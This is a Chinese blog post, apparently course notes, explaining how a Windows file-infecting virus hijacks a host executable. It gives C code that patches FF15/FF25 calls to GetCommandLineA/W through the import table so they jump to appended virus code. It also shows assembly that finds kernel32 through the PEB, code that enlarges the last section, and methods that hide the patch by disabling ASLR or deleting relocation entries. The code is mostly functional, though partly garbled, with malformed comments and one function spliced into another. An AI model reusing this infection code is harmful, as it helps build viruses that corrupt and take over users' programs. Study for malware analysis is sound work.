汪道之

有人的地方就有江湖

0%

病毒_Win_指令Patch实现和重定位表

程序实现指令Patch

如何找到需要Patch的指令

  1. 首先指定一个会被大概率调用的函数名(也包括函数所在DLL的名字)
  2. 然后通过被寄生文件(exe)的导入表找到该函数的导入表项的地址(即IAT中对应项的地址)
  3. 最后去exe文件的代码中搜索所有可能的Call [xxxx]或JMP [xxxx],进行Patch

将RVA转换为文件位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int getFileOffsetByRva(FILE * fp, int sectionNum, int rva)
{
IMAGE_SECTION_HEADER curHdr; //定义变量,用来存节头信息
locateNTHdrStart(fp); //定位到NT头
fseek(fp, sizeof(IMAGE_NT_HEADERS), SEEK_CUR);//定位到节表
for(int i = 0; i < sectionNum; i++)
{
fread(&curHdr, sizeof(IMAGE_SECTION_HEADER), 1, fp);
//判断参数rva在哪个节
if ((rva >= curHdr.VirtualAddress) &&
(rva <= curHdr.VirtualAddress + curHdr.Misc.VirtualSize))
{
//返回rva所对应的文件位置
return curHdr.PointerToRawData + (rva - curHdr.VirtualAddress);
}
}
//rva不存在任一节中,返回-1
return -1;
}

Patch指令的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
bool patchApiCall(
FILE * fp,
char * funcName, //API函数的名字(要被Patch的调用指令)
char * dllName, //API函数所属DLL的名字
IMAGE_NT_HEADERS* hdrs, //NT头的信息
int jmpDesAddress //跳转的地址,病毒首地址
)
{
//在文件中找到导入表的位置
bool result = false;
//找到导入表的RVA
unsigned long importTbRva = hdrs->
OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
if (importTbRva == 0)
{
printf("has not import tb, so exit\n");
return result;
}
//将RVA转换为导入表的文件位置
int importTbOffset =
getFileOffsetByRva(fp, hdrs->FileHeader.NumberOfSections, importTbRva);
if (importTbOffset == -1)
{
printf("cannot locate import tb\n");
return result;
}

//找到指定API函数在IAT表中的表项地址
_IMAGE_IMPORT_DESCRIPTOR importDes; //指向结构体(导入表目录项)定义变量
int targetIATAddress = 0; //变量,指定API函数在IAT表中的表项地址(RVA),初始化为0
int desIndex = 0; //遍历的索引
while(1) //找到就退出循环
{ //每次定位到结构体开始的位置
fseek(fp, importTbOffset + desIndex * sizeof(_IMAGE_IMPORT_DESCRIPTOR), SEEK_SET);
//读结构体到变量
fread(&importDes, sizeof(_IMAGE_IMPORT_DESCRIPTOR), 1, fp);
desIndex++; //循环索引加1
if (importDes.FirstThunk == 0) //如果IAT表为0,跳出循环
break;
//将结构体中DLL名字的RVA转换成文件位置
int offset = getFileOffsetByRva(fp, hdrs->FileHeader.NumberOfSections, importDes.Name);
//将DLL的文件名读出,放到name数组里面
char name[128];
fseek(fp, offset, SEEK_SET);
char * p = name;
while(1)
{
fread(p, 1, 1, fp); //每次读一个字节
if (* p == 0) //字符串结束标识符
break;
p++;
}
//以上代码取出导入表目录项中的DLL名字,用来和函数传递的参数dllName(即API函数的DLL)进行比较
if (stricmp(name, dllName) == 0)
{
//比较dll的名字,判断是否是API函数所在DLL的导出表目录项
//根据预先绑定,如果有INT就用INT表来找函数名,没有就用IAT表找函数名
long actualFirstThunk = importDes.OriginalFirstThunk == 0 ?
importDes.FirstThunk : importDes.OriginalFirstThunk;
//获得INT表(或IAT表)的RVA,并将其转换为文件位置
int nameListStart = getFileOffsetByRva(fp, hdrs->FileHeader.NumberOfSections, actualFirstThunk);
for(int i = 0; ; i++) //遍历INT表(或IAT表)的每一项,查找指定的API函数名
{
int thunkRva; //每项的RVA字段,注意Peview工具解析了很多信息,但表里每项只有RVA
fseek(fp, nameListStart + i * sizeof(thunkRva), SEEK_SET); //定位到i项的文件位置
fread(&thunkRva, sizeof(thunkRva), 1, fp); //读每项信息到变量
if (thunkRva == 0) //表的结束符为0
{
printf("find dll %s but not find who call %s\n", dllName, funcName);
return false;
}
int thunkOffset = \\将读出的RVA(如2A270)转换为文件位置(转为28270
getFileOffsetByRva(fp, hdrs->FileHeader.NumberOfSections, thunkRva);
fseek(fp, thunkOffset + 2, SEEK_SET);\\定位到函数名,跳过2字节序号
fread(name, sizeof(name), 1, fp); \\读函数名到name
if (stricmp(name, funcName) == 0)
{ //和传递的参数funcName作比较
//找到,计算IAT表相应表项的位置
targetIATAddress =
hdrs->OptionalHeader.ImageBase + importDes.FirstThunk + 4 * i;
break;//break前面的for循环
}
}
break;//break前面的while循环
}

//找到符合的指令进行Patch
IMAGE_SECTION_HEADER curHdr;
locateNTHdrStart(fp); //定位到NT头的文件位置
fseek(fp, sizeof(IMAGE_NT_HEADERS), SEEK_CUR);//定位到节表
//遍历节表找代码节,指令在代码节
for(int i = 0; i < hdrs->FileHeader.NumberOfSections; i++)
{
//读出节头
fread(&curHdr, sizeof(IMAGE_SECTION_HEADER), 1, fp);
if ((curHdr.Characteristics & 0x20) == 0x20) //查找代码属性0x20
{
char *code = (char *)malloc(curHdr.Misc.VirtualSize);
fread(code, 1, curHdr.Misc.VirtualSize, fp); //读出节的内容到code数组
char * p = code; //p指向代码节当前搜索位置,初始化为code开始的地方
for(int i2 = 0; i2 < curHdr.Misc.VirtualSize;) //循环遍历每个字节
{
unsigned short opCode = *(unsigned short *)p; //每次读2个字节,进行操作码FF15和FF25判断
if (( opCode == 0x15ff) || (opCode == 0x25ff)) //找到FF15或FF25
{ //p+2为FF15或FF25后面,int读4个字节,是可能的IAT表项的RVA地址
unsigned int possibleIATAddress = *(unsigned int *) (p + 2);
if (targetIATAddress == possibleIATAddress) //和读出的IAT表的RVA一致
{ result = true; //进行指令Patch
char instr[6];
if (opCode == 0x15ff) //FF15对应间接call[xx],只能替换成call指令
{ instr[0] = 0xe8;//替换call的机器码e8
instr[5] = 0x90;//最后一个字节需要填充NOP
}
else //是jmp[xx],替换为jmp指令
instr[0] = 0xe9;//替换成jmp指令机器码e9
//计算跳转偏移量,先计算跳转的源地址:节起始RVA + imageBase + Patch指令后面的节内偏移
long srcAddress = curHdr.VirtualAddress +
hdrs->OptionalHeader.ImageBase +
(p + 5 - code);
*(long *)&instr[1] = jmpDesAddress - srcAddress; //填写跳转偏移,跳转目的地址-源地址
fseek(fp, curHdr.PointerToRawData + (p - code), SEEK_SET); //定位到patch指令
fwrite(instr, 1, 6, fp); //写入patch指令
i2 += 6;
p += 6;
continue;
}
i2 +=2; p += 2;
//获得病毒代码开始位置的内存地址,是patch指令函数patchApiCall的参数
long jmpDesAddress = lastSectionHdr.VirtualAddress +
lastSectionHdr.Misc.VirtualSize + ntHdrs.OptionalHeader.ImageBase;
//0代表没找到给定函数的调用指令
//1代表找到了GetCommandLineA的调用指令进行了Patch
//2代表找到了GetCommandLineW的调用指令进行了Patch
int thefunc = 0; //初始化为0
//调用patchApiCall函数,返回值代表是否Patch成功
if (patchApiCall(fp, "GetCommandLineA", "kernel32.dll", &ntHdrs, jmpDesAddress))
thefunc = 1;
else
{
if (patchApiCall(fp, "GetCommandLineW", "kernel32.dll", &ntHdrs, jmpDesAddress))
thefunc = 2;
}
if (thefunc == 0)
{
return; //没有patch成功,直接返回,不寄生
}
//布尔型变量isGetCommandLineW,用于告诉后面的病毒寄生代码Patch的到底是哪个函数
bool iscommandLineW = (thefunc == 1 ? false : true);
}

针对导入表项调用指令Patch的病毒设计

  1. 我们准备patch调用GetCommandLineA或GetCommandLineW的函数,因为它们基本在入口处会被调用,这样可以保证病毒一开始就执行
  2. 为了防止函数再次调用时病毒再次执行,我们增加了一个标记
  3. 另外,感染时到底patch的是W还是A版的GetCommandLine,也有一个标记来告诉寄生的病毒代码,从而寄生病毒执行时才知道去找哪个函数的实际入口地址
  4. 寄生病毒执行时,找到函数地址后需要存储一下,因此,并分配了4字节存储GetCommandLineX(W/A)的入口地址。为了不修改老代码,数据区开始的原来13个字节没有删减,用于存放这3个信息。
  5. 在数据段增加了“GetCommandLineA”和” GetCommandLineW”串,因为要用getproc动态查找到其首址跳过去
  6. 增加了获取kernel32基址和获取GetCommandLineW/A的代码
  7. 最后用JMP指令跳到GetCommandLineW/A去

最后跳转指令

  1. 在patch指令的时候,我们将原来的call [xxxx] ,Jmp [xxxx] 变成一条“Jmp 偏移”形式的指令跳到病毒,在病毒代码执行后,我们需要在尾部添加一条跳回原来函数[xxxx]的指令
  2. 因此,我们依然添加一条 Jmp [xxxx] 的间接跳转指令。这样我们就不必自己查找原函数的入口了,节省了代码
  3. 但该方法因为 Jmp [xxxx] 包含的地址xxxx是绝对地址(这是函数所对应的IAT表项的地址),如果在exe可重定位的情况下,这个xxxx地址是需要重定位的
  4. 然而,病毒尾部的这条Jmp [xxxx]是病毒添加的,因此,在重定位表中没有重定位项的,所以会出错
  5. 解决的方法:添加重定位项或让exe不会重定位

病毒数据区

image-20210520210019073

初始化数据区代码:

1
2
3
4
5
6
7
//填写GetCommandLineA字符串,相对数据区偏移56字节
strcpy(virusData + 56, "GetCommandLineA");
//填写GetCommandLineW字符串,相对数据区偏移72字节
strcpy(virusData + 72, "GetCommandLineW");
//传递一个布尔型变量isGetCommandLineW
//根据其值决定是patch函数的W版还是A版,并记录在数据区标志位
*(virusData + 1) = isGetCommandLineW ? 1 : 0;

判断是否第一次执行:

1
2
3
4
5
6
7
8
9
10
11
pop eax;  //病毒数据区自定位指令,eax指向病毒数据区实际地址
cmp byte ptr [eax], 1; //判断病毒是否为第一次执行
jnz first_time; //病毒是第一次执行,跳到first_time标号处执行
//如果不是,说明病毒已经执行了,并获得GetCommandLine函数的地址
mov eax, [eax + 2]; //这个是由后面的first_time代码把函数地址放入数据区的
jmp eax; //跳到getcommmandLineX函数

first_time:
mov [eax], 1; //将是否执行标志为置为已执行
mov ebp, eax; //ebp执行病毒数据区
…… //执行病毒的逻辑,弹出对话框

尾部添加代码,完成函数入口的查询和转跳:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
  push 16;  //压栈函数名的长度GetCommandLineX(W/A)的长度,getProc函数的参数
mov bl, [ebp + 1]; //判断patch的函数是否为W版本,ebp指向的是数据区
test bl, bl
jnz xxW //patch的是W版本
lea eax, [ebp + 56]; //获得字符串“getCommandLineA”的首地址
jmp xx2
xxW:
lea eax, [ebp + 72]; //获得字符串“getCommandLineW”的首地址
xx2:
push eax; //将函数名压栈,getProc函数的参数
//获得kernel32.dll的基地址
mov eax, fs:[30h] //eax执行PEB
mov eax, [eax+0ch] //eax指向PEB_LDR
mov eax, [eax+0ch] //eax指向第一个模块,即exe模块
mov eax, [eax] //eax指向第二个模块,即ntdll.dll
mov eax, [eax] //eax指向第三个模块,即kernel32.dll
mov eax, [eax+18h] //在该模块偏移18h的地方获得kernel32.dll的基地址
push eax //将kernel32.dll基地址压栈,getProc函数的参数
call getproc //调用getProc函数,返回eax为函数的地址
mov dword ptr [ebp + 2], eax //ebp指向数据区,在数据区放入函数地址
…… //平衡栈
jmp eax; //跳到GetCommandLineX函数

病毒代码改进

  1. 病毒代码比较大,基本节的空洞放不下了
  2. 最后跳回到getCommandLine函数时利用本来的IAT表项

增加最后节的字长:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//修改最后节的virtualSize字段
fseek(fp, - sizeof(IMAGE_SECTION_HEADER), SEEK_CUR); //定位到节头
fseek(fp, 8, SEEK_CUR);//移动8字节的节名,定位到virtualSize字段
int newVirtualSize = lastSectionHdr.Misc.VirtualSize + codeSize; //计算新的virtualSize的值
fwrite(&newVirtualSize, sizeof(newVirtualSize), 1, fp); //写入virtualSize的值
//修该最后节的SizeOfRawData
fseek(fp, 4, SEEK_CUR); //定位到节头的SizeOfRawData字段
int pageNum = (newVirtualSize / ntHdrs.OptionalHeader.FileAlignment); //除以文件对齐粒度
pageNum = pageNum * ntHdrs.OptionalHeader.FileAlignment < newVirtualSize
? pageNum + 1 : pageNum; //计算新的pageNum
int size = pageNum * ntHdrs.OptionalHeader.FileAlignment; //计算新的SizeOfRawData
fwrite(&size, sizeof(size), 1, fp); //将SizeOfRawData的值写入文件
//定位到最后节的空洞
fseek(fp, lastSectionHdr.PointerToRawData + lastSectionHdr.Misc.VirtualSize, SEEK_SET);
fwrite(code, codeSize, 1, fp); //先填充病毒代码
free(code);
//在病毒代码后继续扩容
int expandedSize = size - newVirtualSize; //计算需要扩充的大小,从病毒代码后开始填充
char c = 0; //每次填充0
for(int i = 0; i < expandedSize; i++) //循环填充的次数
fwrite(&c, 1, 1, fp); //填充一个字节

利用IAT找到函数入口:

  1. call…pop自定位代码获取了数据区的地址A
  2. 数据区预期加载地址B=[A+1]
  3. IAT表项的预期地址[A+5]
  4. IAT表项重定位后的实际地址IAT_addr-[A+5]=A-B
  5. 通过[IAT_addr]获取函数入口地址

PE文件的重定位机制

算法

  1. 实际和预期加载地址的差x=A-B
  2. 找到需要修改的位置y
  3. 读出y开始4字节的值+x=新地址z
  4. 将z写入y开始的4字节

如何知道哪些需要重定位

在可选头的数据目录中,有一项(第六项)就是重定位表,重定位表中记录了所有需要进行重定位修改的位置

在重定位表中因为都是地址值,所以只记录被修改的位置,大小4字节(32位机)

需要重定位的区域以4096(2^12)字节(即16进制0x1000h)进行划分,在每个区域(Page)里面,每个需要重定位的位置都有相应的重定位项记录了该位置离这个区域起始位置的偏移

针对每个区域,在重定位表中都有8字节的头部,其中前4个字节是重定位内存页的起始RVA,后4个字节是重定位块的长度(包括头和所有表项在内的字节数)

划分区域后每一项只需要12位来表示地址,另外0.5字节为属性

系统重定位算法,从OptionHeader的数据目录项拿到重定位表首,然后遍历上面的数据表结构,获取每个重定位项,计算重定位项的位置,按之前的算法重定位

总结Patch指令引起的问题

因为我们Patch的原指令本身是包含绝对地址的指令,对于exe能重定位的情况下,正常会有指向这个绝对地址xxxx所在位置的重定位项

在我们Patch指令的过程中,我们将该指令修改为了不包含绝对地址的指令形式,但没有删除针对该地址的重定位项

解决方法:exe重定位项失效;删除被Patch指令的重定位项

解决方法

  1. 关闭随机基址

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
            readHdrs(fp); //读NT头
    locateNTHdrStart(fp); //定位到NT头
    //计算dllcharacteristics到NTHeaders头部偏移
    int offsetToNTHdr_DllChar = (int)&(((IMAGE_NT_HEADERS *) 0)->
    OptionalHeader.DllCharacteristics);
    //从NT头移动文件指针到dllcharacteristics字段的位置
    fseek(fp, offsetToNTHdr_DllChar, SEEK_CUR);
    //0x0040 随机加载 标识,用&FFBF(即 1111 1111 1011 1111)将其去掉
    short dllChar = ntHdrs.OptionalHeader.DllCharacteristics & 0xffbf;
    //写入新的属性值
    fwrite(&dllChar, sizeof(dllChar), 1, fp);
    fclose(fp);
  2. 去掉所对应的重定位项

    该方法不修改DLLCharacteristic,更加隐秘

    重定位表就是.reloc节,为了避免删除带来影响,在reloc节尾部填充删除的字节数

    算法:

    1. patch一条指令时,指令首部偏移2字节就是需要重定位的位置A

    2. 遍历reloc节查找RVA=A的项并删除

      首先从reloc节内部的小表首部获取该页的加载基址的RVA为B,从后4字节获取小表大小C,共C-8(头8字节RVA和Size)/2(每项2字节)个项,遍历,每取一项的后1.5字节假定为D,如果B+D==A,删除,然后修改小表的Size值(减2),OptionalHeader数据目录中reloc项的size也减2,reloc节尾部填充2个字节